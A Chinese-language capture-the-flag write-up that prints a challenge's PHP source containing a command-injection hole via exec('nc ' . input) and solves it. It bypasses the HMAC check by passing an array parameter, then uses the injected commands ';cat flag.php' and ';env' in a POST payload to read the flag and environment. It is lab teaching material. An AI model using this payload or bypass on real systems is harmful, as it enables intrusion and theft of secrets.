進入靶場
音樂硬控我3分鐘
回去看源碼
<?php
// 檢查 POST 請求中是否包含 'Black-Cat-Sheriff' 和 'One-ear' 字段
// 如果任意一個字段為空,則輸出錯誤信息并終止腳本執行
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){die('請提供 Black-Cat-Sheriff 和 One-ear 參數');
}// 從環境變量中獲取 'clandestine' 的值
$clandestine = getenv("clandestine");// 檢查 POST 請求中是否包含 'White-cat-monitor' 字段
if(isset($_POST['White-cat-monitor'])) {// 如果存在 'White-cat-monitor' 字段,使用 HMAC-SHA256 算法對其進行哈希處理// 哈希的密鑰為之前從環境變量獲取的 $clandestine$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
}// 使用 HMAC-SHA256 算法對 'One-ear' 字段的值進行哈希處理
// 哈希的密鑰為更新后的 $clandestine
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);// 比較哈希結果 $hh 和 POST 請求中的 'Black-Cat-Sheriff' 字段的值
// 如果不相等,則輸出錯誤信息并終止腳本執行
if($hh !== $_POST['Black-Cat-Sheriff']){die('哈希驗證失敗');
}// 如果哈希驗證通過,則執行系統命令
// 這里嘗試執行 'nc' 命令并將 'One-ear' 字段的值作為參數傳遞
// 此操作存在嚴重安全風險,因為可能導致命令注入攻擊
echo exec("nc " . $_POST['One-ear']);
?>
開始解題
<?php
$clandestine = hash_hmac('sha256', array(), 123);
$hh = hash_hmac('sha256', ';cat flag.php', $clandestine);
echo $hh;
運行得到04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6PHP
<?phpvar_dump(hash_hmac('sha256', ";env", NULL));?>
運行得到afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b
最終組成payload:White-cat-monitor[]=1&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env
傳post類型時可以用插件或BP
我用BP更方便一點
flag{4117c718-7501-4c0c-827e-323a8d9ea551}?